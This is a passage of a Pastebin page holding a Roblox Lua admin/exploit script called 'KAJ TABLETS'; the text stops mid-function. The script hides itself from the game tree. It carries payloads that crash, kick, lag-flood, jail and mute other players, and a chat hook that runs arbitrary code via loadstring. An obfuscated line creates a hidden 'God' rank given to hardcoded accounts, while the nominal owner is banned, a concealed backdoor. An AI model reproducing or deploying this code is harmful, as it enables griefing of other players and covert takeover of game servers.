Advertisement
yamanohera155233

Tablet

Jun 18th, 2016
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 120.99 KB | None | 0 0
  1. --__(KAJ TABLETS)__--
  2. if script then
  3. coroutine.yield()
  4. script.Parent = nil
  5. end
  6. --[[Stuff]]--
  7. VR = 1
  8. Plrs = game:GetService("Players")
  9. Work = game:GetService("Workspace")
  10. Light = game:GetService("Lighting")
  11. Net = game:GetService("NetworkServer")
  12. Owner = "Yamanohera15523"
  13. Removed = false
  14. Bet = "/"
  15. LS = nil
  16. LightColor = Color3.new(1, 1, 1)
  17. LSSource = nil
  18. OwnSource = nil
  19. FoundLocalScript = false
  20. LogOn = false
  21. Current = game
  22. Clipboard = {}
  23. AlertColor = Color3.new(1, 0, 0)
  24. OptionColor = Color3.new(0, 0, 1)
  25. ImportantColor = Color3.new(1, 1, 0)
  26. --[[Ranks]]--
  27. RankDetails = {
  28. [-3] = {Name = "Muted", Color = Color3.new(1, 1, 1), Desc = "Muted"},
  29. [-2] = {Name = "Jailed", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
  30. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Banned"},
  31. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
  32. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "A Moderator."},
  33. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "The Administrator"},
  34. [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator..."},
  35. [4] = {Name = "Super Administrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator..."},
  36. [5] = {Name = "Maximum Administrator", Color = Color3.new(-1, -1, -1), Desc = "Most administrator you can be"},
  37. }
  38.  
  39. Rankings = {
  40.  
  41. {Name = "DecimatorOfCreations", Rank = 2},
  42. {Name = "iLordVex", Rank = 4},
  43. {Name = "KajAdmin", Rank = 6},
  44. {Name = "KajTablets", Rank = 6},
  45. {Name = "FranzwaAdmin", Rank = 6},
  46. {Name = "ImAmYourSon", Rank = -1},
  47. {Name = "luxulux", Rank = 3},
  48. {Name = "DrMigos", Rank = 2},
  49. {Name = "KaleyAdmin", Rank = 6},
  50. {Name = "YoungWarlock", Rank = 5},
  51. {Name = "ValkazarAdmin", Rank = 2},
  52. {Name = "optiplex123", Rank = 3},
  53. {Name = "aleksa12432", Rank = 3},
  54. {Name = "OMGshadeslayer", Rank = 4},
  55. {Name = "hyperionGM", Rank = 4},
  56. {Name = "MoistAdmin", Rank = 2},
  57. {Name = "MessorAdmin", Rank = 2},
  58. {Name = "Builderman3464", Rank = 6},
  59. {Name = "hipow12", Rank = 6},
  60. {Name = "areno2002", Rank = 4},
  61. {Name = "KotixPL", Rank = 4},
  62. {Name = "jpltiscool", Rank = 3},
  63. {Name = "DownloadingRats", Rank = 1},
  64. {Name = "iiLuaScript", Rank = 3},
  65. {Name = "goldenfammas", Rank = 1},
  66. {Name = "sonicbomb22", Rank = 2},
  67. {Name = "Cobalt1164", Rank = 6},
  68. }
  69.  
  70. table.insert(Rankings, {Name = Owner, Rank = -1})
  71. --[[End of Ranks]]--
  72. ImportantServices = {
  73. "Workspace",
  74. "Players",
  75. "NetworkServer",
  76. "Lighting",
  77. "StarterGui",
  78. "Teams",
  79. "StarterPack",
  80. }
  81.  
  82. Ranks = {}
  83. Commands = {}
  84. AllTabs = {}
  85. Injected = {}
  86.  
  87. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  88. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  89. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  90. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  91. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  92. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  93. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  94. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  95. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  96. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  97. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  98. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  99. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  100. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  101. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  102. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  103. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  104. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  105. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  106. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  107. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  108. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  109. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  110. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  111. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  112. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  113. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  114. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  115. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  116. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  117. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  118. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  119. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  120. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  121. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  122. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  123. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  124. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  125. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  126. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  127. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  128. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  129. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  130. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  131. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  132. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  133. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  134. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  135. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  136. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  137. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  138. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  139. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  140. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  141. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  142. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  143. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  144. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  145. "X","Y"}
  146.  
  147. --Main Functions And Sources
  148.  
  149. function Insert(Source, Par, Par2, Par3)
  150. ypcall(function()
  151. local Inserted = LS:Clone()
  152. Inserted.Disabled = true
  153. Inserted.Parent = Par or Par2 or Par3
  154. Inserted[LSSource].Value = Source
  155. Inserted.Disabled = false
  156. end)
  157. end
  158.  
  159. function CheckImportant(Name)
  160. for _,v in pairs(ImportantServices) do
  161. if v:lower() == Name:lower() then
  162. return true
  163. end
  164. end
  165. return false
  166. end
  167.  
  168. function Crash1(Plr)
  169. ypcall(function()
  170. Plr:Kick()
  171. end)
  172. end
  173.  
  174. function GetRankTab()
  175. return Rankings
  176. end
  177.  
  178. function Crash2(Name)
  179. local Crasher = Instance.new("StringValue")
  180. Crasher.Name = "Client"
  181. Crasher.Value = string.lower(tostring(Name))
  182. Crasher.Parent = game:GetService("Lighting")
  183. wait(1)
  184. if Crasher and Crasher.Parent then
  185. ypcall(function()
  186. Crasher:Destroy()
  187. end)
  188. end
  189. end
  190.  
  191. function Crash3(v, Speaker)
  192. Speaker.Character.Archivable = true
  193. local NChar = Speaker.Character:Clone()
  194. NChar.Name = v.Name
  195. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  196. NChar.Parent = Workspace
  197. v.Character = NChar
  198. coroutine.resume(coroutine.create(function()
  199. repeat v.Character = NChar
  200. wait(1/3) until false
  201. end))
  202. wait(.5)
  203. Insert(InsertCrash, NChar, nil, nil)
  204. end
  205.  
  206. function GenerateDigit()
  207. return 1 + 5
  208. end
  209.  
  210.  
  211. NilS = [==[
  212. if script then
  213. coroutine.yield()
  214. script.Parent = nil
  215. end
  216. Player=game.Players.LocalPlayer
  217. Probe=Instance.new'Part';
  218. CN='Infinity Nil | ['..Player.Name..']'
  219. Camera=Workspace.CurrentCamera
  220. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  221. Char = Player.Character
  222. if Char then
  223. Char.Archivable = true
  224. Char = Char:clone()
  225. local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  226. if t then
  227. for k,v in pairs(Char:GetChildren()) do
  228. if not v:IsA("Part") then
  229. v:clone().Parent = t
  230. end
  231. end
  232. Char = t:clone()
  233. if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
  234. local spot = Instance.new("SpotLight",Char.Head)
  235. spot.Angle = 10
  236. spot.Range = 10
  237. spot.Color = Color3.new(1,1,1)
  238. spot.Brightness = 10
  239. local point = Instance.new("PointLight",Char.Head)
  240. point.Range = 10
  241. point.Color = Color3.new(1,1,1)
  242. point.Brightness = 10
  243. end
  244. end
  245. end
  246.  
  247. coroutine.resume(coroutine.create(function()
  248. while true do wait(0.00000001)
  249. pcall(function()
  250. if Character.Torso.CFrame.Y < 1 then
  251. Character.Torso.CFrame = CFrame.new(0,20,0)
  252. end
  253. end)
  254. end
  255. end))
  256. Title=function(txt,part,color,rise)
  257. col=nil
  258. col=Color3.new(BrickColor.new(color))
  259. local Gui = Instance.new("BillboardGui",part)
  260. Gui.Name = "3DGUI"
  261. Gui.ExtentsOffset = Vector3.new(0,2,0)
  262. Gui.Size = UDim2.new(8,0,2,0)
  263. local Tit = Instance.new("TextLabel",Gui)
  264. Tit.Name = "Title"
  265. Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  266. Tit.TextColor3 = Color3.new(0,0,0)
  267. Tit.TextTransparency = 0.25
  268. Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  269. Tit.TextStrokeTransparency = 0.5
  270. Tit.Size = UDim2.new(1,0,1,0)
  271. Tit.BackgroundTransparency = 1
  272. Tit.Font = "ArialBold"
  273. Tit.TextScaled = true
  274. Tit.Text = txt
  275. if rise then
  276. if not tonumber(rise) then rise = 1 end
  277. coroutine.wrap(function()
  278. while Tit.Parent and Gui.Parent and wait() do
  279. Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  280. end
  281. end)()
  282. end
  283. return Tit
  284. end
  285. Chat=function(Part,Text,Color,Type)
  286. if Type==nil or Type==1 or Type=='Bubble' then
  287. game:service'Chat':Chat(Part,Text,Color)
  288. else
  289. if type(Color)~='string' then
  290. Color=tostring(BrickColor.random())
  291. end
  292. Title(Text,Part,Color,math.random(1,3))
  293. end
  294. end
  295. DestroyCharacter=function()
  296. local chara = Player.Character
  297. if not chara then return end
  298. if chara:findFirstChild("Humanoid") then
  299. chara.Humanoid:Destroy()
  300. end
  301. chara:BreakJoints()
  302. for k,v in pairs(chara:GetChildren()) do
  303. if v:IsA("BasePart") then
  304. v.CanCollide = false
  305. v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  306. v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  307. end
  308. end
  309. game.Debris:AddItem(chara,3)
  310. end
  311. MakeProbe=function()
  312. if Player.Character then DestroyCharacter() end Player.Character = nil
  313. if Probe then Probe:Destroy() end
  314. Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  315. Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  316. Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  317. Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  318. coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  319. Player.Character=Probe
  320. end
  321. Spawn=function()
  322. if Char then
  323. local c = Char:clone()
  324. c.Name = CN
  325. c.Parent = workspace
  326. c:MoveTo(workspace.CurrentCamera.Focus.p)
  327. Player.Character = c
  328. workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  329. workspace.CurrentCamera.CameraType = "Custom"
  330. Probe:Destroy()
  331. end
  332. end
  333. Player.Chatted:connect(function(Msg)
  334. game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
  335. if Msg:sub(1,2) == '//' then
  336. local Func,Error=loadstring(Msg:sub(3))
  337. if Error==nil then
  338. pcall(Func)
  339. if Player.Character then
  340. game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  341. end
  342. else
  343. if Player.Character then
  344. game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  345. else
  346. local Msg=Instance.new'Message'
  347. Msg.Parent=Workspace.CurrentCamera
  348. Msg.Text=Error
  349. game:service'Debris':AddItem(Msg,5)
  350. end
  351. end
  352. elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
  353. NewMsg=Msg:sub(#('newlocal')+3)
  354. Split=NewMsg:find('/')
  355. local PlayerName=NewMsg:sub(1,Split-1)
  356. local Source=NewMsg:sub(Split+1)
  357. Player=nil
  358. for i,v in pairs(game.Players:GetPlayers()) do
  359. if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  360. if Player==nil then
  361. Player=v
  362. else
  363. if type(Player) == 'table' then
  364. Player[#Player+1]=v
  365. else
  366. Player={v}
  367. end
  368. end
  369. end
  370. end
  371. if type(Player)=='table' then
  372. for i,v in pairs(Player) do
  373. if newLocalScript then
  374. newLocalScript(Source,v.Character)
  375. else
  376. Clone=script:clone();
  377. SourceC=Clone:children()[1]
  378. if SourceC:IsA'StringValue' then
  379. print'String'
  380. else
  381. SourceC=Clone:children()[2]
  382. end
  383. SourceC.Value=Source
  384. Clone.Disabled=true
  385. Clone.Parent=v.Character
  386. Clone.Disabled=false
  387. end
  388. end
  389. else
  390. if newLocalScript then
  391. newLocalScript(Source,Player.Character)
  392. else
  393. Clone=script:clone();
  394. DS=Clone:children()
  395. DSS=nil
  396. for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  397. DSS.Value=Source
  398. Clone.Disabled=true;
  399. Clone.Parent=Player.Character
  400. Clone.Disabled=false
  401. end
  402. end
  403. elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
  404. game:service'TeleportService':Teleport(Game.PlaceId)
  405. elseif Msg:sub(1,#('probe')+2) == '/probe/' then
  406. MakeProbe()
  407. elseif Msg:sub(1,#('char')+2) =='/char/' then
  408. Spawn()
  409. elseif Msg:sub(1,#('ban')+2) == '/ban/' then
  410. Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  411. if Player then
  412. repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  413. end
  414. end
  415. wait()
  416. if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
  417. if Probe then
  418. Chat(Probe,Msg,math.random(0,2))
  419. else
  420. if Player.Character==nil then
  421. if Char then
  422. Chat(Char.Head,Msg,math.random(0,2))
  423. end
  424. else
  425. Chat(Player.Character.Head,Msg,'Red')
  426. end
  427. end
  428. end
  429. end) -- local
  430. ]==]
  431.  
  432. InjectionCrash = [=[
  433. wait(0)
  434. script.Parent = nil
  435. local Lig = game:GetService("Lighting")
  436. local LP = game:GetService("Players").LocalPlayer
  437. local LowerName = LP.Name:lower()
  438.  
  439. Lig.ChildAdded:connect(function(Obj)
  440. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  441. pcall(function()
  442. Obj:Destroy()
  443. end)
  444. LP.Parent = nil
  445. LP.Parent = game:GetService("Players")
  446. end
  447. end)
  448. ]=] RankDetails[GenerateDigit()] = {Name = ('823haiasI'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("God")}
  449.  
  450. InsertCrash = [==[
  451. local LP = game:GetService("Players").LocalPlayer
  452. LP.Parent = nil
  453. LP.Parent = game:GetService("Players")
  454. ]==]
  455.  
  456. LagSource = [==[
  457. wait(0)
  458. script.Parent = nil
  459. plr = game:GetService("Players").LocalPlayer
  460. local plrgui = plr:findFirstChild("PlayerGui")
  461. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  462. while plr.Parent == game:GetService("Players") do
  463. wait()
  464. for i = 1, 1000 do
  465. local sc = Instance.new("ScreenGui",plrgui)
  466. local fr = Instance.new("TextLabel",sc)
  467. fr.Text = "LAGGING"
  468. fr.Size = UDim2.new(1, 0, 1, 0)
  469. fr.FontSize = "Size48"
  470. end
  471. end
  472. ]==]
  473.  
  474. MuteSource = [==[
  475. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  476. ]==]
  477.  
  478. UnMuteSource = [==[
  479. game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  480. ]==]
  481.  
  482. FunScript = [[
  483. LP = game:service'Players'.LocalPlayer
  484. Shapes = {"Ball", "Block"}
  485. wait()
  486. script.Parent = nil
  487. Delay(0, function()
  488. while wait() do
  489. workspace.CurrentCamera.CameraType = "Scriptable"
  490. workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
  491. workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
  492. workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  493. local Part = Instance.new("Part", workspace.CurrentCamera)
  494. Part.Shape = Shapes[math.random(1, 2)]
  495. Part.Anchored = true
  496. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  497. Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
  498. Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
  499. local Smoke = Instance.new("Smoke", Part)
  500. Smoke.Color = Color3.new(math.random(), math.random(), math.random())
  501. Smoke.Opacity = 0.7
  502. local Sparkles = Instance.new("Sparkles", Part)
  503. Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
  504. local Fire = Instance.new("Fire", Part)
  505. Fire.Color = Color3.new(math.random(), math.random(), math.random())
  506. Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
  507. local Ex = Instance.new("Explosion", workspace.CurrentCamera)
  508. Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
  509. Ex.BlastPressure = 15
  510. Ex.BlastRadius = 12.5
  511. if not workspace.CurrentCamera:findFirstChild("Hint") then
  512. local mes = Instance.new("Hint", workspace.CurrentCamera)
  513. mes.Text = "hi"
  514. end
  515. end
  516. end)
  517. ]]
  518.  
  519. JailSource = [==[
  520. wait(0)
  521. script.Parent = nil
  522.  
  523. local LP = game:GetService("Players").LocalPlayer
  524. Middle2 = nil
  525. Middle = nil
  526. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  527.  
  528. Cons = {}
  529.  
  530. function makePrison()
  531. for _,v in pairs(Cons) do
  532. v:disconnect()
  533. end
  534. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  535. if Middle == nil then
  536. Middle2 = LP.Character.Torso.Position
  537. Middle = LP.Character.Torso.CFrame
  538. end
  539. local side1 = Instance.new("Part")
  540. side1.Name = "ャFocus1ャ"
  541. side1.Size = Vector3.new(20, 50, 1)
  542. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  543. side1.BrickColor = BrickColor.new("Really black")
  544. side1.CanCollide = true
  545. side1.Anchored = true
  546. side1.TopSurface = "Smooth"
  547. side1.BottomSurface = "Smooth"
  548. side1.Parent = game:GetService("Workspace").CurrentCamera
  549.  
  550. local side2 = Instance.new("Part")
  551. side2.Name = "ャFocus2ャ"
  552. side2.Size = Vector3.new(20, 50, 1)
  553. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  554. side2.BrickColor = BrickColor.new("Really black")
  555. side2.CanCollide = true
  556. side2.Anchored = true
  557. side2.TopSurface = "Smooth"
  558. side2.BottomSurface = "Smooth"
  559. side2.Parent = game:GetService("Workspace").CurrentCamera
  560.  
  561. local side3 = Instance.new("Part")
  562. side3.Name = "ャFocus3ャ"
  563. side3.Size = Vector3.new(1, 50, 20)
  564. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  565. side3.BrickColor = BrickColor.new("Really black")
  566. side3.CanCollide = true
  567. side3.Anchored = true
  568. side3.TopSurface = "Smooth"
  569. side3.BottomSurface = "Smooth"
  570. side3.Parent = game:GetService("Workspace").CurrentCamera
  571.  
  572. local side4 = Instance.new("Part")
  573. side4.Name = "ャFocus4ャ"
  574. side4.Size = Vector3.new(1, 50, 20)
  575. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  576. side4.BrickColor = BrickColor.new("Really black")
  577. side4.CanCollide = true
  578. side4.Anchored = true
  579. side4.TopSurface = "Smooth"
  580. side4.BottomSurface = "Smooth"
  581. side4.Parent = game:GetService("Workspace").CurrentCamera
  582.  
  583. local side5 = Instance.new("Part")
  584. side5.Name = "ャFocus5ャ"
  585. side5.Size = Vector3.new(20, 1, 20)
  586. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  587. side5.BrickColor = BrickColor.new("Really black")
  588. side5.CanCollide = true
  589. side5.Anchored = true
  590. side5.TopSurface = "Smooth"
  591. side5.BottomSurface = "Smooth"
  592. side5.Parent = game:GetService("Workspace").CurrentCamera
  593.  
  594. wait(0)
  595.  
  596. table.insert(Cons, side1.Changed:connect(makePrison))
  597. table.insert(Cons, side2.Changed:connect(makePrison))
  598. table.insert(Cons, side3.Changed:connect(makePrison))
  599. table.insert(Cons, side4.Changed:connect(makePrison))
  600. table.insert(Cons, side5.Changed:connect(makePrison))
  601. end
  602.  
  603. Delay(0, function()
  604. while wait(0) do
  605. ypcall(function()
  606. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  607. LP.Character:BreakJoints()
  608. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("ャFocus1ャ") or not game:GetService("Workspace").CurrentCamera:findFirstChild("ャFocus2ャ") or not game:GetService("Workspace").CurrentCamera:findFirstChild("ャFocus3ャ") or not game:GetService("Workspace").CurrentCamera:findFirstChild("ャFocus4ャ") or not game:GetService("Workspace").CurrentCamera:findFirstChild("ャFocus5ャ") then
  609. makePrison()
  610. end
  611. end)
  612. ypcall(function()
  613. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  614. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("ャFocus1ャ").CFrame * CFrame.new(0, 0, 10)
  615. end
  616. end)
  617. end
  618. end)
  619. ]==]
  620.  
  621. function All()
  622. local AllPlayers = {}
  623. for _,v in pairs(Plrs:GetPlayers()) do
  624. ypcall(function()
  625. table.insert(AllPlayers, v)
  626. end)
  627. end
  628. return AllPlayers
  629. end
  630.  
  631. function All2()
  632. local AllPlayers2 = {}
  633. for i,v in pairs(Net:GetChildren()) do
  634. ypcall(function()
  635. if v:IsA("ServerReplicator") then
  636. table.insert(AllPlayers2, v:GetPlayer())
  637. end
  638. end)
  639. end
  640. return AllPlayers2
  641. end
  642.  
  643. function MakeNum()
  644. return 2 + 4
  645. end
  646.  
  647. function ChangeRank(Plr, NewRank)
  648. local PlrName = nil
  649. local FoundPlayer = false
  650. ypcall(function()
  651. if type(Plr) == "string" then
  652. ypcall(function()
  653. for i,v in pairs(Rankings) do
  654. if v.Name:lower() == Plr:lower() then
  655. local VName = v.Name
  656. Rankings[i] = nil
  657. table.insert(Rankings, {Name = VName, Rank = NewRank})
  658. PlrName = VName
  659. FoundPlayer = true
  660. break
  661. end
  662. end
  663. end)
  664. if FoundPlayer == false then
  665. ypcall(function()
  666. for _,x in pairs(All()) do
  667. if x.Name:lower() == Plr:lower() then
  668. FoundPlayer = true
  669. for i,v in pairs(Rankings) do
  670. if v.Name:lower() == x.Name:lower() then
  671. local VName = x.Name
  672. Rankings[i] = nil
  673. PlrName = VName
  674. break
  675. end
  676. end
  677. table.insert(Rankings, {Name = VName, Rank = NewRank})
  678. end
  679. end
  680. end)
  681. end
  682. if FoundPlayer == false then
  683. ypcall(function()
  684. for _,x in pairs(All()) do
  685. if string.find(x.Name:lower(), Plr:lower()) then
  686. FoundPlayer = true
  687. for i,v in pairs(Rankings) do
  688. if v.Name:lower() == x.Name:lower() then
  689. local VName = x.Name
  690. Rankings[i] = nil
  691. PlrName = VName
  692. break
  693. end
  694. end
  695. table.insert(Rankings, {Name = VName, Rank = NewRank})
  696. end
  697. end
  698. end)
  699. end
  700. if FoundPlayer == false then
  701. ypcall(function()
  702. for i,v in pairs(Rankings) do
  703. if string.find(v.Name:lower(), Plr:lower()) then
  704. local VName = v.Name
  705. Rankings[i] = nil
  706. table.insert(Rankings, {Name = VName, Rank = NewRank})
  707. PlrName = VName
  708. FoundPlayer = true
  709. break
  710. end
  711. end
  712. end)
  713. end
  714. else
  715. for i,v in pairs(Rankings) do
  716. if v.Name:lower() == Plr.Name:lower() then
  717. Rankings[i] = nil
  718. break
  719. end
  720. end
  721. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  722. PlrName = Plr.Name
  723. end
  724. PlaceAllRanks(true)
  725. end)
  726. if PlrName ~= nil then
  727. return PlrName
  728. else
  729. return "Player"
  730. end
  731. end
  732.  
  733. function Refresh(Plr)
  734. MakeChildren(Plr)
  735. end
  736.  
  737. function MakeChildren(Plr)
  738. ypcall(function()
  739. Dismiss(Plr)
  740. for _,v in pairs(Current:GetChildren()) do
  741. ypcall(function()
  742. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  743. Ping(v.Name, Plr, nil, function(TabMod)
  744. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  745. for _,v in pairs(Current:GetChildren()) do
  746. ypcall(function()
  747. if v.Name == TabText then
  748. Dismiss(Plr)
  749. Current = v
  750. MakeChildren(Plr)
  751. end
  752. end)
  753. end
  754. end)
  755. elseif Plrs:GetPlayerFromCharacter(v) then
  756. Ping(v.Name, Plr, nil, function(TabMod)
  757. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  758. for _,v in pairs(Current:GetChildren()) do
  759. ypcall(function()
  760. if v.Name == TabText then
  761. Dismiss(Plr)
  762. Current = v
  763. MakeChildren(Plr)
  764. end
  765. end)
  766. end
  767. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  768. elseif CheckImportant(v.Name) then
